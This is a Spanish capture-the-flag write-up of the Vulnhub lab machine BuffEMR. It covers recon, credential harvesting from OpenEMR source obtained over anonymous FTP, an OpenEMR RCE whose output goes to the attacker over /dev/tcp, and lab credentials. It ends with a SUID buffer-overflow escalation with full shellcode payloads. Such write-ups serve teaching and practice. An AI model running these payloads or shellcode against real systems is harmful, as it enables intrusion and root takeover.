BuffEMR
Writeup de la máquina BuffEMR de Vulnhub.
Reconocimiento
En primer lugar, aplicaremos un escaneo con arp-scan para ver la Dirección IP de la máquina víctima.
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con un TTL de 64, además gracias al script whichSystem.py podremos conocer dicha información.
Nmap
En segundo lugar, realizaremos un escaneo usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.18.109 -oG allPorts
Observamos como nos reporta que se encuentran abiertos los puertos 21,22,80.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p21,22,80 -sCV 192.168.18.109 -oN targeted
Observamos que está permitido el anonymous login a través del FTP.
Explotación
Nos logearemos a través FTP como el usuario anonymous y vemos que nos deja entrar por lo que comenzaremos a enumerar dicho servicio.
Vemos que dentro de la carpeta share/openemr hay un montón de archivos:
..
Gracias a la siguiente instrucción usando wget podremos descargarnos todo el contenido que esta alojado en dicho servidor FTP.
1
wget -r ftp://192.168.18.109
Observamos que dentro del directorio share/openemr parece que son recursos de una página web.
Buscaremos en internet que es OpenEMR y veremos como se trata de una página web dedicada a la administración médica.
Si nos dirigimos a la página web veremos la página por defecto de Apache2.
Intentaremos acceder a /openemr y veremos como existe dicha ruta, es decir lo que está alojado en el FTP es el código fuente de dicha página web.
Observamos que aunque no se nos hubiera ocurrido buscar por el directorio /openemr no importa pues en los diccionarios de SecLists esta contemplada dicha palabra.
Intentaremos buscar por archivos de configuración usando el siguiente comando:
1
find . -name \*conf\*
Observaremos diferentes archivos de configuración:
Si visualizamos algunos de ellos encontraremos credenciales para la base de datos por lo que nos guardaremos dichas credenciales para un futuro.
En el siguiente archivo también encontraremos credenciales por lo que de igual forma las guardaremos en un archivo.
Gracias al siguiente comando podremos ver todos los archivos que se encuentran en el código fuente del aplicativo web OpenEMR.
1
find .
Tras una larga búsqueda observaremos un archivo interesante:
Dentro de dicho archivo se encuentran unas credenciales para la cuenta de administrador.
Probaremos a autenticarnos en el aplicativo web y nos logeará correctamente, además observamos que está corriendo la versión 5.0.1 de OpenEMR.
Usaremos searchsploit para buscar por posibles exploits para dicha versión y veremos que es vulnerable a un RCE.
Nos pondremos en escucha con Netcat y ejecutaremos el exploit pasándole como parámetro el comando whoami > /dev/tcp/192.168.18.10/443 y observaremos como recibimos el output de dicho comando a través de Netcat.
En este punto lo que debemos hacer es enviarnos una Reverse Shell.
Escalada
Una vez ya estamos dentro de la máquina lo primero que debemos hacer es un Tratamiento de la TTY.
Tras un largo tiempo de búsqueda nos daremos cuenta que en el directorio /var tenemos un zip sospechoso.
Nos los transferimos a nuestra máquina de atacante y al intentar descomprimirlo nos daremos cuenta que está protegido por una contraseña.
En este punto lo que podemos intentar es sacar el hash de dicho archivo con ssh2john > hash e intentar crackearlo pero no tendremos éxito.
Si bien recordamos teníamos credenciales de una base de datos y como el servicio de mysql está expuesto probaremos a logearnos con las credenciales que teníamos:
En la base de datos user_info encontraremos una tabla llamada ENCKEYS con el siguiente contenido pdfkey:c2FuM25jcnlwdDNkCg=\=.
Decodificaremos dicha cadena y probaremos a introducirla como contraseña del archivo zip pero no tendremos éxito.
Pues en el caso de que probemos con la cadena directamente codificada en base64 se nos descomprimirá el archivo zip.
Dentro del comprimido nos encontrarnos con unas credenciales (buffemr:Imagr00t):
Veremos que en la máquina víctima existe un usuario con el mismo nombre (buffemr).
Por lo que ahora nos logearemos como buffemr.
En nuestro directorio home veremos la flag del user.
Si buscamos por permisos SUID veremos un binario un tanto extraño (/opt/dontexecute):
Al ejecutar dicho binario nos daremos cuenta que es necesario pasarle un parámetro.
Al pasarle un parámetro no pasa nada extraño.
Buffer OverFlow
Veremos que al introducir una cadena muy larga el programa peta por una sobrecarga en el Buffer por lo que lo más posible es que sea vulnerable a un Buffer OverFlow.
Nos transferimos dicho archivo a nuestra máquina para operar más cómodamente.
Sacar Offset
Abriremos el binario con gdb dontexecute -q y al ejecutar el binario con r AAAA...A veremos como sobrescribimos el EIP, por lo que debemos hacer ahora es tomar el control del EIP.
Para poder tomar el control del EIP crearemos un patrón con la siguiente intrucción:
1
pattern create 500
Correremos dicho programa pasándole como parámetro el patrón recientemente generado y observamos que no peta por lo que debemos crear un patrón más largo.
Usaremos la misma instrucción que antes para crear un patrón más largo.
1
pattern create 600
Observamos como ahora si que peta el binario.
Ahora para saber el offset exacto debemos ejecutar el siguiente comando:
1
pattern offset $eip
Vemos que el offset es 512.
Tomando control sobre el EIP
Ejecutaremos la siguiente instrucción para ver si realmente tenemos control sobre el EIP.
1
r $(python3 -c 'print("A"*512 + "B"*4)')
Vemos como el EIP está representadas las B’s(\x042) por lo que habremos tomado el control del EIP.
Comprobar si podemos ejecutar shellcode
Con la siguiente instrucción podremos saber si es posible ejecutar un shellcode directamente en la pila.
1
checksec
Vemos como la opción NX esta deshabilitada por lo que tendremos capacidad de ejecutar nuestro shellcode en la pila.
Veremos que en la máquina víctima esta deshabilitado el ASLR por lo que será más fácil ejecutar nuestro shellcode.
Shellcode
Vemos que la máquina víctima tiene instalado gdb por lo que pasaremos a tratar el binario desde ahí.
A continuación lo que debemos hacer es ver a donde se dirigen nuestras C’s, pues conociendo a donde van, sabremos a donde tenemos que apuntar para ejecutar nuestro shellcode, para llevar a cabo esto ejecutaremos lo siguiente:
Usaremos python normal, es decir python2 ya que con python3 da problemas, en el caso de que queramos usar python3 debemos usar:
r $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*512 + b"B"*4 + b"C"*300)')
Gracias al siguiente comando x/300wx $esp podremos ver lo que ahí en la pila, y así saber a donde se están almacenando nuestras C’s.
Opción 1
Nuestro shellcode será el siguiente el cual se encargará de ejecutar una /bin/bash -p, pues si bien recordamos dicho binario tiene permisos SUID.
1
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
Ahora estaremos cargando nuestro shellcode en la basura/junk, es decir antes del EIP, además previamente introduciremos NOPs (\0x90) para que nuestro shellcode se interprete correctamente, además observaremos la siguiente dirección que demos introducir en el EIP, pues es este el encargado de apuntar a la siguiente instrucción.
1
r $(python -c 'print b"\x90"*479 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + b"B"*4')
Por lo que ahora lo que haremos será introducir los NOPs seguido de nuestro shellcode y finalmente como EIP introduciremos una dirección de memoria que antes antes de nuestro shellcode y que apunta a los NOPs para que de esta forma el shellcode se ejecute correctamente.
1
r $(python -c 'print b"\x90"*479 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + b"\x90\xd5\xff\xff"')
Observamos como dentro del propio gdb nos lanza una bash.
Por lo que en este punto lo que debemos de hacer es ejecutar directamente el binario pasándole nuestro payload.
1
/opt/dontexecute $(python -c 'print b"\x90"*479 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + b"\x90\xd5\xff\xff"')
Observamos como hemos conseguido convertirnos en root abusando de permisos SUID a través de un Buffer OverFlow.
Opción 2
Destacar que está opción no se como realmente funciona, pues no tiene mucho sentido que sea funcional de esta manera.
Como alternativa podremos cargar nuestro shellcode al principio de la pila, pues el ASLR se encuentra deshabilitado, para llevar a cabo esto debemos ver la dirección de memoria del EIP para ello haremos un i r dentro del propio gdb.
En este punto lo que haremos será introducir nuestro shellcode después del EIP por lo que irá al principio de la pila.
1
r $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*512 + b"\x70\xd2\xff\xff" + b"\x90"*100 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")')
Ejecutaremos el binario pasándole como parámetro nuestro payload el cual carga nuestro shellcode.
1
/opt/dontexecute $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*512 + b"\x70\xd2\xff\xff" + b"\x90"*100 + b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")')
Observamos que de igual forma hemos conseguido convertirnos en el usuario root.
